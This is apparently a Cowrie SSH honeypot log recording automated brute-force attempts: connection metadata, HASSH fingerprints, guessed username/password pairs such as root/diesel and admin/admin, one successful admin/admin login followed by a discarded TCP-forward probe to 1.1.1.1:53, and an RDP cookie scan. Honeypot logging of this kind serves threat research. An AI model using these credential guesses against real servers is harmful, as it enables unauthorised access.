{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:45.828257Z","src_ip":"87.251.64.176","session":"8327d7bfd0cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:45.931995Z","src_ip":"87.251.64.176","session":"8327d7bfd0cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45358,"dst_ip":"159.203.135.109","dst_port":22,"session":"9beb36af247d","protocol":"ssh","message":"New connection: 80.94.92.186:45358 (159.203.135.109:22) [session: 9beb36af247d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:30.821285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:31.142180Z","src_ip":"80.94.92.186","session":"9beb36af247d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:31.145364Z","src_ip":"80.94.92.186","session":"9beb36af247d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:32.304935Z","src_ip":"80.94.92.186","session":"9beb36af247d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:33.688089Z","src_ip":"80.94.92.186","session":"9beb36af247d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":52330,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ba76933240","protocol":"ssh","message":"New connection: 94.159.98.239:52330 (10.17.0.5:22) [session: 24ba76933240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:53.540267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:53.720603Z","src_ip":"94.159.98.239","session":"24ba76933240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:53.724358Z","src_ip":"94.159.98.239","session":"24ba76933240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diesel","message":"login attempt [root/diesel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:55.964083Z","src_ip":"94.159.98.239","session":"24ba76933240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:21:57.240590Z","src_ip":"94.159.98.239","session":"24ba76933240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":46174,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4a3db7ea20b","protocol":"ssh","message":"New connection: 37.233.85.71:46174 (159.203.135.109:22) [session: d4a3db7ea20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:08.752977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:08.757691Z","src_ip":"37.233.85.71","session":"d4a3db7ea20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:08.866315Z","src_ip":"37.233.85.71","session":"d4a3db7ea20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789zxc","message":"login attempt [root/123456789zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:09.192732Z","src_ip":"37.233.85.71","session":"d4a3db7ea20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:10.304963Z","src_ip":"37.233.85.71","session":"d4a3db7ea20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62186,"dst_ip":"159.203.135.109","dst_port":22,"session":"25d72f259066","protocol":"ssh","message":"New connection: 194.59.206.2:62186 (159.203.135.109:22) [session: 25d72f259066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:33.856576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:33.862911Z","src_ip":"194.59.206.2","session":"25d72f259066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:33.951172Z","src_ip":"194.59.206.2","session":"25d72f259066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:34.112082Z","src_ip":"194.59.206.2","session":"25d72f259066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":53383,"dst_ip":"10.17.0.5","dst_port":22,"session":"f86cba7764f4","protocol":"ssh","message":"New connection: 167.172.81.52:53383 (10.17.0.5:22) [session: f86cba7764f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:34.293332Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:34.297641Z","src_ip":"167.172.81.52","session":"f86cba7764f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:34.300582Z","src_ip":"167.172.81.52","session":"f86cba7764f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36862,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f9515cb6a7c","protocol":"ssh","message":"New connection: 103.176.20.57:36862 (10.17.0.5:22) [session: 8f9515cb6a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:53.832320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:53.863411Z","src_ip":"103.176.20.57","session":"8f9515cb6a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:54.095371Z","src_ip":"103.176.20.57","session":"8f9515cb6a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz","message":"login attempt [root/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:55.084770Z","src_ip":"103.176.20.57","session":"8f9515cb6a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:22:56.337591Z","src_ip":"103.176.20.57","session":"8f9515cb6a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":57378,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd5ca899f458","protocol":"ssh","message":"New connection: 109.172.54.111:57378 (10.17.0.5:22) [session: cd5ca899f458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:10.733405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:10.748238Z","src_ip":"109.172.54.111","session":"cd5ca899f458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:10.830181Z","src_ip":"109.172.54.111","session":"cd5ca899f458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyasdfgzxcvb1234","message":"login attempt [root/qwertyasdfgzxcvb1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:11.216483Z","src_ip":"109.172.54.111","session":"cd5ca899f458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:12.320508Z","src_ip":"109.172.54.111","session":"cd5ca899f458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36198,"dst_ip":"10.17.0.5","dst_port":22,"session":"591c88e32fce","protocol":"ssh","message":"New connection: 87.251.64.176:36198 (10.17.0.5:22) [session: 591c88e32fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:30.433486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:30.441308Z","src_ip":"87.251.64.176","session":"591c88e32fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:30.539006Z","src_ip":"87.251.64.176","session":"591c88e32fce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:30.829052Z","src_ip":"87.251.64.176","session":"591c88e32fce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:30.929787Z","session":"591c88e32fce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:31.030465Z","src_ip":"87.251.64.176","session":"591c88e32fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:23:31.129150Z","src_ip":"87.251.64.176","session":"591c88e32fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":64856,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea12457959b7","protocol":"ssh","message":"New connection: 38.93.206.2:64856 (159.203.135.109:22) [session: ea12457959b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:11.925948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:11.933669Z","src_ip":"38.93.206.2","session":"ea12457959b7","protocol":"ssh"}
